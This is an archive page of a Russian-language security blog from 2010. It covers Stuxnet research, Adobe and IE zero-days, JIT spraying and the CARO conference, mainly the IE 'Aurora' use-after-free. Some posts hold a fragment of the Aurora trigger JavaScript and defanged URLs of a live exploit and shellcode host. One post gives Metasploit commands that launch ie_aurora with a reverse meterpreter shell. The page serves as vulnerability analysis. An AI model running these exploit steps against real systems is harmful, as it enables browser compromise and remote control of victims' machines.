Показаны сообщения с ярлыком codname Aurora. Показать все сообщения
Показаны сообщения с ярлыком codname Aurora. Показать все сообщения

пятница, 24 сентября 2010 г.

Stuxnet Under the Microscope

Вчера вечером мы закончили подготовку достаточно серьезного исследования по анализу червя Win32/Stuxnet. Самым сложным было подготовить сам отчет, т.к. он постоянно разрастался, потому как хотелось описать все, но описать все, таки не получилось. Некоторые подробности внедрения вредоносного функционала в SCADA остались за кадром (ну нету у нас реактора для тестов :)). Также мы не стали публиковать описание еще двух 0-day уязвимостей, которые пока до сих пор не закрыты и MS попросила этого не делать. Одна из них находится в win32k.sys и служит для повышения локальных привилегий в процессе инсталляции на операционные системы Win2000/WinXP. А вторая поинтереснее, т.к. позволяет повысить привилегии на Vista/Win7, через уязвимость в Task Scheduler. Пока про эти уязвимости больше ничего не скажу, всему свое время ;)
Искренне считаю, что мы провели полезное исследование и смогли правильно преподнести его результаты, поэтому крайне рекомендую вам с ним ознакомиться.

суббота, 19 июня 2010 г.

Adobe ≠ безопасность или "долгоиграющий" 0-day

На протяжении всего текущего года компания Adobe уже не раз нас радовала серьезными уязвимостями, которые влекли за собой возможность удаленного выполнения произвольного кода. В этот раз очередной "шедевр" (CVE-2010-1297) был связан с уязвимостью в Adobe Reader и некоторыми особенностями обработки встроенных в pdf флеш-роликов. Многие уязвимости в продуктах Adobe (CVE-2010-129 входит в их число) могут эксплуатироваться не только на платформе windows, но на многих других, на которые они официально подставляются. Другое дело, что провести успешную атаку эксплойтом на одних плотформах проще, а на других сложнее. Сама Adobe не спешит выпускать заплатку для этой уязвимости и она запланирована только на конец июня, получается, что пользователи продукции этой компании подвержены риску почти на протяжении целого месяца. На мой взгляд для столь массовых продуктов это просто не допустимо. Ну, а теперь давайте рассмотрим саму уязвимость.
Итак, уязвимость находиться в модуле authplay.dll, при обработке специально сформированного SWF. Корнем зла на этот раз оказался тег DoABC, использующийся при вставке swf в pdf-файлы. Во вредоносном SWF-файле заменен всего лишь один опкод, но именно он и приводит к ошибке. Оригинальный байт-код 0x66 (GetProperty) заменен на 0x40 (newfunction).

Судя по всему уязвимость была найдена с применением методов фаззинга файловых форматов.
Но выполнению SWF предшествует heap-spraying, используется для обхода DEP.



В итоге мы получаем ret2lib в BIB.DLL, после чего начинается выполнение шелл-кода. Подобная техника обхода DEP была использована в нашумевшей атаке codname: Aurora. Сейчас она приминяется очень часто в различных эксплойтах.

Для того чтобы попасть в библиотеку BIB.dll используются техники return-oriented programming (ROP), недостаток этого метода в достаточно длительном времени работы. Например, публичный эксплойт на CVE-2010-1297, опубликованный в рамках Metasploit. Оказался очень медленным и нестабильным в работе.
На днях была опубликована программа BH'2010 USA та, что проводиться в Вегасе и на ней было замечено достаточно большое количество докладов посвященных ROP. Конец лета будет интересным :)

Напоследок небольшая демка, которую я записал для корпоративного блога, но мне она нравится и пожалуй продублирую ее здесь тоже :) На ней отчетливо видно, как не быстро отрабатывает ROP shellcode (из Metasploit'а работает как минимум в двое медленее). В качестве сандтрека была взята заглавная тема к фильму Pi.

Материал по теме:
Подробное исследование от Zynamics
Исследование от Symantec
Исследование от Websense

суббота, 29 мая 2010 г.

CARO'2010: Итоги

Конференция в этом году была посвящена "Большим числам" и лишь немногие доклады не попадали под эту тему. Еще интересной особенностью этой конференции является то, что не все доклады рассчитаны на широкую огласку и их презентации не будут доступны для скачивания. Таких докладов было немного и некоторые из них не содержали ничего такого, что нельзя было разгласить, но авторы решили перестраховаться. К примеру, один из таких докладов был «Anatomy of a Targeted Attack with Global consequences» , где на примере нашумевшей атаки Aurora, рассказали о возможных целенаправленных атаках. В принципе ничего нового я из доклада для себя не узнал, но презентация была хорошая, вся информация по этой атаки была хорошо структурирована.
Хорошая презентация была «Virtual Machine Protection Technology and AV Industry»но обфусцированный китайский-английский воспринимался очень сложно. Докладчик поднял вопрос о проблемах анализа виртуализованного кода и возможных подходах к решению этой проблемы.
Докладчик из G-Data рассказал о системе MonkeyWrench «Detecting malicious web pages with MonkeyWrench» для обнаружения вредоносной активности на веб-страницах. Планы у них грандиозные и они даже готовы сотрудничать и обмениваться коллекциями. Система интересная, но пока Wepawet круче. Песочница MonkeyWrench основана на принципе эмуляции работы различных браузерных платформ. В ней так же реализованы некоторые эвристические подходы к распознаванию shellcode-последовательностей.
Наверное, больше всех мне понравился доклад “Indexing Large Volumes of Binary Content for Fast Search”, речь там шла о реализации системы быстрого поиска последовательностей в бинарных файлах (PE, ELF …). Сам докладчик очень живенько рассказывал о своей системе, но кроме слов демонстрировал полученные результаты на реальной системе.
Все остальные доклады были тоже интересные, но почему –то больше всего запомнились именно вышеописанные.

Организаторами конференции этого года выступила финская антивирусная компания F-Secure и хочется отдельно поблагодарить Mikko Hyppönen за то, что он приложил много усилий, чтобы от конференции остались только положительные впечатления.

P.S.: Лишь в первый день была хорошая погода и удалось немного по фотографировать достопримечательности Хельсинки.

среда, 10 февраля 2010 г.

JIT spraying или новые техники обхода ASLR и DEP для IE8

В этом месяце на конференции Black Hat 2010, традиционно проходящей в это время года, был представлен интересный доклад "Interpreter Exploitation: Pointer Inference and JIT Spraying". В этом докладе рассматриваются новые методики проведения атаки heap spray на указатели на объекты ActionScript находящиеся в памяти VM при проигрывании Flash-видео. Обход ASLR тут заключается в том, что при создании большого количества похожих объектов в памяти Flash VM нам становится проще ориентироваться в памяти, так как она уже становится не настолько рандомизированной.


Сегодня компания Immunity объявила о выпуске новой версии своего основного продукта Immunity CANVAS, в составе которого есть Aurora IE сплойт для Win7, использующий как раз технологию Flash-JIT-Spray.
Ниже привожу видео в Black Hat демонстрирующие работу технологии Flash-JIT-Spray на Vista SP2 и IE8.


Презентация
Статья

Update:
Интересную статью по теме выложила у себя в блоге компания Fortinet (JIT Spraying in PDF).

четверг, 21 января 2010 г.

DEP и CVE-2010-0249 (codname: "Aurora")

Microsoft таки созрела для выпуска незапланированного обновления и оно должно сегодня стать доступным для скачивания, ориентировочно в 21:00 по msk. Но интересно другое, в MS признали факт опасности этой уязвимости только после появления полуприватного эксплойта работающего в обход DEP. Не менее интересно и то, что MS ранее говорила о том, что с включенным DEP всем будет счастье, но минуточку, методы обхода DEP были известны еще в 2005 году. Но только резонанс в СМИ и негодование в сообществе специалистов по ИБ, все-таки сподвигло MS к незапланированному обновлению. Интересная у них позиция получается нет эксплойта нет проблемы, так получается.

DEP можно отключить, если вызвать недокументированную функцию NtSetInformationProcess(), которая живет в ntdll.dll. Вызывать нужно конечно же задав интересующему нас параметру ProcessExecuteFlags значение ULONG ExecuteFlags = MEM_EXECUTE_OPTION_ENABLE. Все параметры для NtSetInformationProcess выглядят следующим образом:

Правда надо заметить, что Vista и Win7 с двумя костылями DEP+ASLR, пока не скомпрометированы этим эксплойтом. Но все же пока пользователей XP подавляющее большинство, эта отговорка со стороны MS не принимается.

Забавно, но число посетителей этого блога, использующих IE сильно возросло за прошедшие сутки:

Видимо пользователей IE найденная уязвимость действительно беспокоит :)

А сегодня еще была замечена буря негодования по поводу 0-day длинною в 17 лет, речь идет об уязвимости в Virtual DOS machine (VDM), которая подвергает опасности все 32-битные ОС Windows (правда только локально). Кому интересно сплойт этого "динозавра", он есть здесь.

Правда мне всегда казалось, что об этой уязвимости всем давно известно, да и на публике она упоминалась не раз. А тут вдруг столько шуму подняли в СМИ, видимо решили нагнать еще страху после сплойта для IE.

среда, 20 января 2010 г.

Подробнее об уязвимости CVE-2010-0249 (codname: "Aurora")

Большой резонанс в СМИ вызвала уязвимость CVE-2010-0249, антивирусные компании не перестают смаковать факты об этом инциденте. Но на самом деле так ли опасна эта уязвимость?
Ведь атака heap spray, которая осуществляется в рамках обнаруженных боевых эксплойтов, не может корректно отработать при включенном DEP на IE7 и IE8. По умолчанию DEP активирован на:
· Internet Explorer 8 на Windows XP Service Pack 3
· Internet Explorer 8 на Windows Vista Service Pack 1 и выше
· Internet Explorer 8 на Windows Server 2008
· Internet Explorer 8 на Windows 7
Таким образом количество потенциально возможных жертв сильно сокращается, даже если они перейдут по вредоносной ссылке, то не факт, что эксплойт отработает как надо.
Судя по статистике посещений сервиса Яндекс.Метрика пользователи с IE этот блог не посещают, так что если вы читаете это сообщение можно считать, что вы защищены :)


Суть уязвимости CVE-2010-0249 заключается в неправильной обработки памяти в библиотеке mshtml.dll, а точнее там осталась "подвешенной" ссылка на объект. Злоумышленник может используя JS получить доступ к этому участку памяти следующим образом:
- При помощи вызова document.CreateEventObject() мы получаем доступ к уязвимому объекту
- После этого вызываем document.getElementById(), что убить в памяти бажный объект, но JS-engine от MS все еще дает возможность получить доступ к освобожденной памяти, пока она не занята
Эксплуатировать уязвимость получается из-за доступа к памяти srcElement, при помощи метода CEventObj::GenericGetElement из библиотеки mshtml.dll, которая пытается получить доступ к зачищенному объекту при помощи CElement:: GetDocPtr.

В сплойте это выглядит собственно так:
function ev1(evt)
{
event_obj = document.createEventObject(evt);
document.getElementById("sp1").innerHTML = "";
window.setInterval(ev2, 1);
}
Во всем виновато обращение к изображению:
id="sp1"
src="aurora.gif" onload="ev1(event)"

Посмотреть на эксплойт на питоне можно здесь

Update:
Virustotal показывает, что спустя неделю еще не все обнаруживают этот сплойт.
Кому интересно посмотреть на боевой, то он пока лежит здесь:
hxxp://xx222.8866.org:2988/dz/ie.html (exploit)
hxxp://xx222.8866.org:2988/dz/what.jpg (shellcode)

Update2:
Стало известно о появление переработанного эксплойта, умеющего обходить DEP на XP SP3 и успешно атаковать пользователей с IE 7/8. Но все же DEP+ASLR, пока еще являются серьезным препятствием.

суббота, 16 января 2010 г.

Очередной 0-day для IE, codname: "Aurora"

Только MS успела провести первый этом году Patch Tuesday, как сразу после этого (15.01.2010) Secunia выпустила бюллетень "Microsoft Internet Explorer Arbitrary Code Execution" в котором рассказывается о 0-day уязвимости, причем характерной для всей линейки IE начиная с шестого. В бюллетени речь идет об ошибки из-за не правильного разыменованого указателя, который после освобождения всеравно позволяет получить доступ к объекту. MS завела соответствующий Advisory (979352) и сообщила всему миру в одном из своих блогов, что пользователи Win7 с IE8 не уязвимы полюбому (DEP is enabled by default in IE 8) :)
Сейчас эксплойт уже доступен в составе баз Metasploit и доступен к использованию:

msf > use exploit/windows/browser/ie_aurora
msf exploit(ie_aurora) > set PAYLOAD windows/meterpreter/reverse_tcp
msf exploit(ie_aurora) > set LHOST (your IP)
msf exploit(ie_aurora) > set URIPATH /
msf exploit(ie_aurora) > exploit

На сам сплойт можно посмотреть здесь.
Вот подробное видео с иллюстрацией его работы:

The "Aurora" IE Exploit in Action from The Crew of Praetorian Prefect on Vimeo.


Результаты анализа боевого сплойта в песочнице Wepawet: http://wepawet.iseclab.org/view.php?hash=1aea206aa64ebeabb07237f1e2230d0f&type=js
Что-то не много его антивирусов на сегодняшний день детектит: http://www.virustotal.com/analisis/0793e8d10671762492091a9332b13321437977965e718761f5ef2c2ef298464a-1263646443

Update:
Код эксплойта на python

Update2:
Видео с работой эксплойта под разными версиями браузера IE (6/7/8) на XP c SP3:

Internet Exporer 6


Internet Exporer 7


Internet Exporer 8